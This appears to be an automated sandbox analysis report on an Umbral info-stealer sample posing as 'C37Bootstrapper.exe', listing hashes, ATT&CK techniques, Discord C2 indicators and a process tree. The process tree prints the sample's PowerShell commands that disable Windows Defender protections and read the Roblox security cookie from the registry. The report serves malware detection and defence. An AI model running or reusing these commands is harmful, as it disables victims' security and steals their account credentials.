umbral | b5015182ecaa7561f27090fb7b2aab0decbbffc94606225b12676dc720266498

Analysis

max time kernel
458s
max time network
1178s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
05-06-2024 17:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

C37Bootstrapper.exe
Size

407KB
MD5

2a25b9d935c4fe0a9f85251ecabfd923
SHA1

bebbdce90e0ba9eb1cf388f0db17dbb97775e9e2
SHA256

b5015182ecaa7561f27090fb7b2aab0decbbffc94606225b12676dc720266498
SHA512

08f31d8e8867fcdadb209d28ad3f654b694fe5ec19a289871d758ab75d7759f08c4b8f01c789be22c2e83dafa8ec9e861479003e1e091038074471c701bf9dbf
SSDEEP

6144:oloZMLrIkd8g+EtXHkv/iD4I7lXrRiK1AwBzOurZpjb8e1mVi4qkRH:2oZ0L+EP8I7lXrRiK1AwBzOurzr4J

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2920-0-0x000001E500E90000-0x000001E500EFC000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4856	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	C37Bootstrapper.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	discord.com
6	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3256	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2920	C37Bootstrapper.exe
4856	powershell.exe
4856	powershell.exe
5020	powershell.exe
5020	powershell.exe
3760	powershell.exe
3760	powershell.exe
848	powershell.exe
848	powershell.exe
4468	powershell.exe
4468	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2920	C37Bootstrapper.exe
Token: SeIncreaseQuotaPrivilege	752	wmic.exe
Token: SeSecurityPrivilege	752	wmic.exe
Token: SeTakeOwnershipPrivilege	752	wmic.exe
Token: SeLoadDriverPrivilege	752	wmic.exe
Token: SeSystemProfilePrivilege	752	wmic.exe
Token: SeSystemtimePrivilege	752	wmic.exe
Token: SeProfSingleProcessPrivilege	752	wmic.exe
Token: SeIncBasePriorityPrivilege	752	wmic.exe
Token: SeCreatePagefilePrivilege	752	wmic.exe
Token: SeBackupPrivilege	752	wmic.exe
Token: SeRestorePrivilege	752	wmic.exe
Token: SeShutdownPrivilege	752	wmic.exe
Token: SeDebugPrivilege	752	wmic.exe
Token: SeSystemEnvironmentPrivilege	752	wmic.exe
Token: SeRemoteShutdownPrivilege	752	wmic.exe
Token: SeUndockPrivilege	752	wmic.exe
Token: SeManageVolumePrivilege	752	wmic.exe
Token: 33	752	wmic.exe
Token: 34	752	wmic.exe
Token: 35	752	wmic.exe
Token: 36	752	wmic.exe
Token: SeIncreaseQuotaPrivilege	752	wmic.exe
Token: SeSecurityPrivilege	752	wmic.exe
Token: SeTakeOwnershipPrivilege	752	wmic.exe
Token: SeLoadDriverPrivilege	752	wmic.exe
Token: SeSystemProfilePrivilege	752	wmic.exe
Token: SeSystemtimePrivilege	752	wmic.exe
Token: SeProfSingleProcessPrivilege	752	wmic.exe
Token: SeIncBasePriorityPrivilege	752	wmic.exe
Token: SeCreatePagefilePrivilege	752	wmic.exe
Token: SeBackupPrivilege	752	wmic.exe
Token: SeRestorePrivilege	752	wmic.exe
Token: SeShutdownPrivilege	752	wmic.exe
Token: SeDebugPrivilege	752	wmic.exe
Token: SeSystemEnvironmentPrivilege	752	wmic.exe
Token: SeRemoteShutdownPrivilege	752	wmic.exe
Token: SeUndockPrivilege	752	wmic.exe
Token: SeManageVolumePrivilege	752	wmic.exe
Token: 33	752	wmic.exe
Token: 34	752	wmic.exe
Token: 35	752	wmic.exe
Token: 36	752	wmic.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	848	powershell.exe
Token: SeIncreaseQuotaPrivilege	3452	wmic.exe
Token: SeSecurityPrivilege	3452	wmic.exe
Token: SeTakeOwnershipPrivilege	3452	wmic.exe
Token: SeLoadDriverPrivilege	3452	wmic.exe
Token: SeSystemProfilePrivilege	3452	wmic.exe
Token: SeSystemtimePrivilege	3452	wmic.exe
Token: SeProfSingleProcessPrivilege	3452	wmic.exe
Token: SeIncBasePriorityPrivilege	3452	wmic.exe
Token: SeCreatePagefilePrivilege	3452	wmic.exe
Token: SeBackupPrivilege	3452	wmic.exe
Token: SeRestorePrivilege	3452	wmic.exe
Token: SeShutdownPrivilege	3452	wmic.exe
Token: SeDebugPrivilege	3452	wmic.exe
Token: SeSystemEnvironmentPrivilege	3452	wmic.exe
Token: SeRemoteShutdownPrivilege	3452	wmic.exe
Token: SeUndockPrivilege	3452	wmic.exe
Token: SeManageVolumePrivilege	3452	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 752	2920	C37Bootstrapper.exe	78
PID 2920 wrote to memory of 752	2920	C37Bootstrapper.exe	78
PID 2920 wrote to memory of 4856	2920	C37Bootstrapper.exe	81
PID 2920 wrote to memory of 4856	2920	C37Bootstrapper.exe	81
PID 2920 wrote to memory of 5020	2920	C37Bootstrapper.exe	83
PID 2920 wrote to memory of 5020	2920	C37Bootstrapper.exe	83
PID 2920 wrote to memory of 3760	2920	C37Bootstrapper.exe	85
PID 2920 wrote to memory of 3760	2920	C37Bootstrapper.exe	85
PID 2920 wrote to memory of 848	2920	C37Bootstrapper.exe	87
PID 2920 wrote to memory of 848	2920	C37Bootstrapper.exe	87
PID 2920 wrote to memory of 3452	2920	C37Bootstrapper.exe	89
PID 2920 wrote to memory of 3452	2920	C37Bootstrapper.exe	89
PID 2920 wrote to memory of 1076	2920	C37Bootstrapper.exe	91
PID 2920 wrote to memory of 1076	2920	C37Bootstrapper.exe	91
PID 2920 wrote to memory of 4180	2920	C37Bootstrapper.exe	93
PID 2920 wrote to memory of 4180	2920	C37Bootstrapper.exe	93
PID 2920 wrote to memory of 4468	2920	C37Bootstrapper.exe	95
PID 2920 wrote to memory of 4468	2920	C37Bootstrapper.exe	95
PID 2920 wrote to memory of 3256	2920	C37Bootstrapper.exe	97
PID 2920 wrote to memory of 3256	2920	C37Bootstrapper.exe	97

C:\Users\Admin\AppData\Local\Temp\C37Bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\C37Bootstrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C37Bootstrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:848
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3452
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1076
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4468
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
165028802699ec2b8fdaa6920bf4dace

SHA1
234d23f5658f9a2ac2f00b5f1311b32e35ea963b

SHA256
60c3c9ddbe9a45657e895357e0abdf426655ac2ca3256f378e3ca83cf4a26033

SHA512
66f19b8cc7e6752ec18a3a64fce1335ecd19f1bd6f27bd7c60324953753a665217f4bfb20bfe649cf3f02a10b8e61b8b77139e20ecf8f58d79faf143ea301bc8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ed6f17e13c0654979a4c7673c20ca8ec

SHA1
0295ab73ec0b415f93206f44e8fef38b1d05059a

SHA256
66a90f7beaaa14c629fbd53754873b19ed99db9469566c43d0ca810ca48662f1

SHA512
1eb7e9be650cf837d74546f24d62263df4b89c985bd208ed52870afd7726f08c9e7412bb5a2dfae2cae01aeec156a2c28d4dc1398b84a5c7fc4035cb84c697d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f42400f857d31971f37d17d20531b73

SHA1
059d39da2ff623b88ac80000a9ca28e88dfdd99f

SHA256
81f919f78467a290982f500765b3a0aaf78c59f853bc57b91a1214170121bb65

SHA512
cb3cdaefe5b93d3adf67c72ac0143505cad3039bda3a608278a19c825cc73bf56011846db2f942f020ac0aeb795929210c71cbb3b57cabce8df85d6f4673610d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_op4d4kjy.fnk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2920-67-0x000001E51B3E0000-0x000001E51B3EA000-memory.dmp

Filesize
40KB

Download
memory/2920-33-0x000001E51B3C0000-0x000001E51B3DE000-memory.dmp

Filesize
120KB

Download
memory/2920-85-0x00007FF887AD0000-0x00007FF888592000-memory.dmp

Filesize
10.8MB

Download
memory/2920-68-0x000001E51B750000-0x000001E51B762000-memory.dmp

Filesize
72KB

Download
memory/2920-2-0x00007FF887AD0000-0x00007FF888592000-memory.dmp

Filesize
10.8MB

Download
memory/2920-31-0x000001E51B6D0000-0x000001E51B746000-memory.dmp

Filesize
472KB

Download
memory/2920-32-0x000001E51B650000-0x000001E51B6A0000-memory.dmp

Filesize
320KB

Download
memory/2920-0-0x000001E500E90000-0x000001E500EFC000-memory.dmp

Filesize
432KB

Download
memory/2920-1-0x00007FF887AD3000-0x00007FF887AD5000-memory.dmp

Filesize
8KB

Download
memory/4856-14-0x00007FF887AD0000-0x00007FF888592000-memory.dmp

Filesize
10.8MB

Download
memory/4856-12-0x0000027E405B0000-0x0000027E405D2000-memory.dmp

Filesize
136KB

Download
memory/4856-3-0x00007FF887AD0000-0x00007FF888592000-memory.dmp

Filesize
10.8MB

Download
memory/4856-13-0x00007FF887AD0000-0x00007FF888592000-memory.dmp

Filesize
10.8MB

Download
memory/4856-17-0x00007FF887AD0000-0x00007FF888592000-memory.dmp

Filesize
10.8MB

Download